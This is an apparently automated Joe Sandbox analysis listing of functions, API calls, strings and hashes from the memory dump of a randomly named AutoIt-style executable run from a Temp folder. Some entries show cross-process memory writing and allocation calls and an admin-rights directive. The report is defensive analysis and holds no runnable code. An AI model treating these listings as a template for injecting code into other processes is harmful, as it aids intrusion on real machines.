Part of subcall function 001D0242: EnterCriticalSection.KERNEL32(0028070C,00281884,?,?,001C198B,00282518,?,?,?,001B12F9,00000000), ref: 001D024D
Part of subcall function 001D0242: LeaveCriticalSection.KERNEL32(0028070C,?,001C198B,00282518,?,?,?,001B12F9,00000000), ref: 001D028A

Part of subcall function 001D00A3: __onexit.LIBCMT ref: 001D00A9

__Init_thread_footer.LIBCMT ref: 00236238

Part of subcall function 001D01F8: EnterCriticalSection.KERNEL32(0028070C,?,?,001C8747,00282514), ref: 001D0202
Part of subcall function 001D01F8: LeaveCriticalSection.KERNEL32(0028070C,?,001C8747,00282514), ref: 001D0235

Part of subcall function 0022359C: LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 002235E4
Part of subcall function 0022359C: LoadStringW.USER32(00282390,?,00000FFF,?), ref: 0022360A

Strings

x#(, xrefs: 00236353
x#(, xrefs: 0023636F
x#(, xrefs: 0023633A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x#($x#($x#(
API String ID: 1072379062-2662966677
Opcode ID: 189b81a6f43c4caa42e3e2b423d14f794ad20c2c966b82780d699f640bacd1ac
Instruction ID: 6c08e0d3cd7b6e3fe9ac4cd88b05a236058826808b6a3d82e0501cb2e89d4191
Opcode Fuzzy Hash: 189b81a6f43c4caa42e3e2b423d14f794ad20c2c966b82780d699f640bacd1ac
Instruction Fuzzy Hash: 82C191B1A10106AFDB24DF98C894EBEB7B9FF58300F548069FA059B291DB70ED55CB90

Function 00212716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0021B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,002121D0,?,?,00000034,00000800,?,00000034), ref: 0021B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00212760

Part of subcall function 0021B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,002121FF,?,?,00000800,?,00001073,00000000,?,?), ref: 0021B3F8

Part of subcall function 0021B32A: GetWindowThreadProcessId.USER32(?,?), ref: 0021B355
Part of subcall function 0021B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00212194,00000034,?,?,00001004,00000000,00000000), ref: 0021B365
Part of subcall function 0021B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00212194,00000034,?,?,00001004,00000000,00000000), ref: 0021B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 002127CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0021281A

Strings

@, xrefs: 00212832

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 33f9cba79aebdbde4b94a382b7801635b3ec3c6f01055f0b346ae20599f98b58
Instruction ID: af1217ee90a4dd57993368d32725668dd1cdeeb8b3c268d513a9c986851cf8f1
Opcode Fuzzy Hash: 33f9cba79aebdbde4b94a382b7801635b3ec3c6f01055f0b346ae20599f98b58
Instruction Fuzzy Hash: 84413D76900218AFDB15DFA4CD85ADEBBB8AF15300F108095FA55B7181DB706E99CB60

Function 001E172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe,00000104), ref: 001E1769
_free.LIBCMT ref: 001E1834
_free.LIBCMT ref: 001E183E

Strings

C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe, xrefs: 001E1760, 001E1767, 001E1796, 001E17CE

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe
API String ID: 2506810119-882148841
Opcode ID: dd84217eaad9d7fc48cf5a7faaec4934cbf1b1c41380f5ffc8f6e47dc4a5ac6e
Instruction ID: 7eb12facd3046c36f18d5ddccad06fa7de1bc4753dd7361cdbc0aafd7b0139f4
Opcode Fuzzy Hash: dd84217eaad9d7fc48cf5a7faaec4934cbf1b1c41380f5ffc8f6e47dc4a5ac6e
Instruction Fuzzy Hash: 5F31AD75E00698BBDB21DB9A9C85D9EBBFCEB95710B1041AAF80497251D7708E41CBA0

Function 0021C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0021C306
DeleteMenu.USER32(?,00000007,00000000), ref: 0021C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00281990,013A5390), ref: 0021C395

Strings

0, xrefs: 0021C2DF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 1652616519c9ff5d1c5ec30573652923b92a92d2cc11d7e7ac86bc127668c133
Instruction ID: 4d8dac09e9623c5bb6c77b56f80924b90099c10c4c95f70afe47d543afd7a170
Opcode Fuzzy Hash: 1652616519c9ff5d1c5ec30573652923b92a92d2cc11d7e7ac86bc127668c133
Instruction Fuzzy Hash: 004105352543029FD720DF24D884B9ABBE4BFA5310F20866EF861D72D1C730E895CB52

Function 00244416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0024CC08,00000000,?,?,?,?), ref: 002444AA
GetWindowLongW.USER32 ref: 002444C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 002444D7

Strings

SysTreeView32, xrefs: 0024447C

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 10d9c015c29dc3371ddcab64933b50905587bfc879849507bd4d30422a0c20bd
Instruction ID: b1fa946a6eb5f23ae3d98e16698dc0d78ae5145074afbc4eb2bc07d7924f2ae2
Opcode Fuzzy Hash: 10d9c015c29dc3371ddcab64933b50905587bfc879849507bd4d30422a0c20bd
Instruction Fuzzy Hash: 0531A231220606AFDF24AF38DC45BDA77A9EB19334F204715F979921D0D770EC609B50

Function 00216E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysReAllocString.OLEAUT32(?,?), ref: 00216EED
VariantCopyInd.OLEAUT32(?,?), ref: 00216F08
VariantClear.OLEAUT32(?), ref: 00216F12

Strings

*j!, xrefs: 00216E8B, 00216E90, 00216EF8

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Variant$AllocClearCopyString
String ID: *j!
API String ID: 2173805711-434145623
Opcode ID: 5c12f04603ea371718fa5905fb8815d17ef2d9d82faad891a9360ebf6a968be1
Instruction ID: 6d0cbc5a248b00fcb39342350f6d7927b8397e8f74fe06f4a63f6d0de03ef931
Opcode Fuzzy Hash: 5c12f04603ea371718fa5905fb8815d17ef2d9d82faad891a9360ebf6a968be1
Instruction Fuzzy Hash: F331B371618205DFCB15AFA4E8999FD37B9FFA5300B2004A8F9034B6B1C7B09D62DB90

Function 0023304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0023335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00233077,?,?), ref: 00233378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0023307A
_wcslen.LIBCMT ref: 0023309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00233106

Strings

255.255.255.255, xrefs: 00233095, 0023309A

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: 37c7f2205b1f4df1116ad9e8c899703d55d83d9d49faff0d23082bf1e2c1168f
Instruction ID: c58452be27aa32a140eab2000abf6839e7990d6f318c52d1508b0bd62476b558
Opcode Fuzzy Hash: 37c7f2205b1f4df1116ad9e8c899703d55d83d9d49faff0d23082bf1e2c1168f
Instruction Fuzzy Hash: 5431D5B96142069FCB24CF28C585EA977F0EF14318F248059E9158F392DB72DF55CB60

Function 00243EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00243F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00243F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00243F78

Strings

SysMonthCal32, xrefs: 00243F0B

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 7dc399c1afa2a5625f78f9962930ba84282726d0424e931bc75a603911e338c5
Instruction ID: e04c99024f81129089189e50731fc511848c2d97d903cef0ef65713e3677a6ec
Opcode Fuzzy Hash: 7dc399c1afa2a5625f78f9962930ba84282726d0424e931bc75a603911e338c5
Instruction Fuzzy Hash: 1721BF32620219BBDF29CF54DC46FEA3B79EF48714F120214FE196B1D0D6B5A8648B90

Function 00244653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00244705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00244713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0024471A

Strings

msctls_updown32, xrefs: 00244684

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 3fb1037b33dba2fbb3fc94e675f5530d8beb047a5fe3ff86d16416c159397178
Instruction ID: e98dd7ade292568764f96816b9c817cb8ce2f5ff2c108341e7b91ab109620628
Opcode Fuzzy Hash: 3fb1037b33dba2fbb3fc94e675f5530d8beb047a5fe3ff86d16416c159397178
Instruction Fuzzy Hash: 3C218EB5611209AFDB15EF68DC85DA777ADEB5A394B000059FA049B391CB30EC22CB60

Function 002195AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0021961D

Strings

#notrayicon, xrefs: 002195B7
#requireadmin, xrefs: 002195D9
#OnAutoItStartRegister, xrefs: 002195F3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: 0d49c196dbf139cee514464eb6bfe55303dfe48409bb0cd998014c7288bc13a0
Instruction ID: 9082aecd07a259718bcc1af5d9b1666712a241b98efbdf2daae4eeeb7b4d3235
Opcode Fuzzy Hash: 0d49c196dbf139cee514464eb6bfe55303dfe48409bb0cd998014c7288bc13a0
Instruction Fuzzy Hash: D3215E3212415166D331AF249C22FF773DDEFB5300F504026FA4997181EB91ADE2C2E5

Function 002437B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00243840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00243850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00243876

Strings

Listbox, xrefs: 0024380F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 3c2e54b676caa6eb7639f2d6e2940c81b71896a167de40f5c7060352e71addde
Instruction ID: 36f4009f7866b1fffe29743b6234b81194869c1ec5a73f67e13670dd581d34f6
Opcode Fuzzy Hash: 3c2e54b676caa6eb7639f2d6e2940c81b71896a167de40f5c7060352e71addde
Instruction Fuzzy Hash: AD21BE72620219BBEB25CF54DC85EAB7B6EEF99760F108124F9449B190C671DC628BA0

Function 002249F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00224A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00224A5C
SetErrorMode.KERNEL32(00000000,?,?,0024CC08), ref: 00224AD0

Strings

%lu, xrefs: 00224A6F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 0679538410de5d39b27792ae43166f7a41725485ca91ae7f1ac77314d674642b
Instruction ID: 8668e3102ae54e82b91b0fbea34c0678229bfdb40f7c69a1b98296000c037faf
Opcode Fuzzy Hash: 0679538410de5d39b27792ae43166f7a41725485ca91ae7f1ac77314d674642b
Instruction Fuzzy Hash: 10318575A00119AFD710DF54D885EAA7BF8EF09304F148099F909DB252D771EE46CB61

Function 002441EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0024424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00244264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00244271

Strings

msctls_trackbar32, xrefs: 00244226

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: a8f6f8ebcf2c28be38f01ccf222170bdf13a9af2b5dbf293f8048abfc84ca6b0
Instruction ID: 7f42da36749c99528b26e3b0cd6027cab047b0b36e9409851ef8482e0f64b861
Opcode Fuzzy Hash: a8f6f8ebcf2c28be38f01ccf222170bdf13a9af2b5dbf293f8048abfc84ca6b0
Instruction Fuzzy Hash: 6B110631250208BEEF24AF29CC06FAB3BACEF95B54F110624FE55E6090D6B1DC219B10

Function 00212F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001B6B57: _wcslen.LIBCMT ref: 001B6B6A

Part of subcall function 00212DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00212DC5
Part of subcall function 00212DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00212DD6
Part of subcall function 00212DA7: GetCurrentThreadId.KERNEL32 ref: 00212DDD
Part of subcall function 00212DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00212DE4

GetFocus.USER32 ref: 00212F78

Part of subcall function 00212DEE: GetParent.USER32(00000000), ref: 00212DF9

GetClassNameW.USER32(?,?,00000100), ref: 00212FC3
EnumChildWindows.USER32(?,0021303B), ref: 00212FEB

Strings

%s%d, xrefs: 00212FFF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 42b011b8b9d7226f6471827e5636feb7785c86df5d65a3e23dfcbd2af90a8dd0
Instruction ID: 4b5fbb34c167b021e1f1999ca8968bff57901b3a9147c7222f0c59c98a4e55e7
Opcode Fuzzy Hash: 42b011b8b9d7226f6471827e5636feb7785c86df5d65a3e23dfcbd2af90a8dd0
Instruction Fuzzy Hash: 78110275310205ABCF44BF64DC85EEE37AAAFA9304F008079F9099B142DF3099998F30

Function 00245882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 002458C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 002458EE
DrawMenuBar.USER32(?), ref: 002458FD

Strings

0, xrefs: 0024588F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: e8fdbe9efec6cf94bba345469ac73592a22aa0399d9c5029f6730522e3d552f5
Instruction ID: 743996ba1e425549ce50345e4596d46df9416ca3ba41efd0c9fbc20f604048c0
Opcode Fuzzy Hash: e8fdbe9efec6cf94bba345469ac73592a22aa0399d9c5029f6730522e3d552f5
Instruction Fuzzy Hash: 3001C031510228EFDB209F11EC48FAEBBB5FF45760F108099E889DA152DB308A90EF60

Function 0021007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 049d8fd83587175f661a462686c96438cece7cb6739f09f677f50df2b9132dc8
Instruction ID: 160dc08fe53587e0f1673dd42095b7eac83f2419a528721a8fda53c8e9bfbd3e
Opcode Fuzzy Hash: 049d8fd83587175f661a462686c96438cece7cb6739f09f677f50df2b9132dc8
Instruction Fuzzy Hash: 4EC15C75A1020AEFDB14CF94C898AAEB7B5FF58304F208598E815EB251D7B1EDD1CB90

Function 001E3E80 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 001E3F0B
__alldvrm.LIBCMT ref: 001E410C
__alldvrm.LIBCMT ref: 001E412E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin
